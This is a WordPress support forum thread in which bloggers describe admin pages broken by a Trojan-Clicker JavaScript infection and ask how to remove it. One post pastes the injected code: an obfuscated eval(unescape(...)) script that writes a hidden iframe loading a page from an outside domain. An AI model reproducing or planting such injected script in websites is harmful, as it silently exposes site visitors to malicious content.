jebworks

My security software has detected the Trojan-Clicker.JS.Iframe.ea virus on my blog which prevents the admin index page from loading. How can I find and delete this java-script virus? I’m surely not the only one having this problem but nowhere on these forums can I find a specific solution for this.

@smarmoofus Can you describe how you sanitized your files? I am still unable to properly load the index page after re-installing it from a clean WP download. Have tried almost everything described here and still haven’t found a fix.

Add-on to last post: I am now running WP 2.9.2 and have de-activated all my plug-ins.

After spending a few more hours trying to fix this, here’s where I am:
I can now download and view correctly all wp-admin pages except wp-admin/index.php

Looking at the source of that page, I find this at the very end which doesn’t seem to belong. Looking inside the index.php file in GoDaddy, I don’t see that text. Don’t know where I could find and eliminate it.

What’s strange is that on the wp-admin/plugins.php and other admin pages that download correctly the same text is inserted there too, which might indicate that the problem with the dashboard (index.php) page lies elsewhere. Have no clue how to correct this.

language=”javascript”>eval(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B”))</script>
</body>
</html>

Thanks Len
for the hint. Looks likely as I now remember the GoDaddy guy telling me something was changed on Feb 3 and I don’t think that was me…

I was running 2.8.4 when I first noticed the admin page was not formatted properly but I was able to view it. Did an update and read it was done correctly so now I should be running 2.9.2

Will have to dig into this.

I don’t know if the cause of my wp-admin page not loading properly is the same as what is described in this thread.

When load https://buhlerworks.com/wordpress/wp-admin/
I can for one or two seconds see my correct page but then it disappears and I get a blank page and five errors are listed

topsites://
https://buhlerworks.com/wordpress/wp-admin/
https://iss9w8s89xx.org/in.php A server with the specified hostname could not be located
https://iss9w8s89xx.org/in.php A server with the specified hostname could not be located
https://iss9w8s89xx.org/in.php A server with the specified hostname could not be located
https://iss9w8s89xx.org/in.php A server with the specified hostname could not be located
https://iss9w8s89xx.org/in.php A server with the specified hostname could not be located

https://buhlerworks.com/favicon.ico
https://buhlerworks.com/wordpress/wp-admin/

I’ve talked to GoDaddy and they were not able to troubleshoot it as everything looks fine on their end.

The public site also looks fine.

Trying to log-in I’m getting this

ERROR: WordPress requires Cookies but your browser does not support them or they are blocked.

although I’ve enabled cookies and haven’t changed anything since yesterday when it worked OK!

Trying to log into my blog controls I suddenly get this message:

Warning: Cannot modify header information – headers already sent by (output started at /home/content/s/h/o/showa23/html/wordpress/wp-content/plugins/wp-opt-in/wp-opt-in.php:404) in /home/content/s/h/o/showa23/html/wordpress/wp-includes/pluggable.php on line 390

I haven’t changed anything and cookies are not blocked, although that’s the message I get when I tried to log in from the public view of the blog.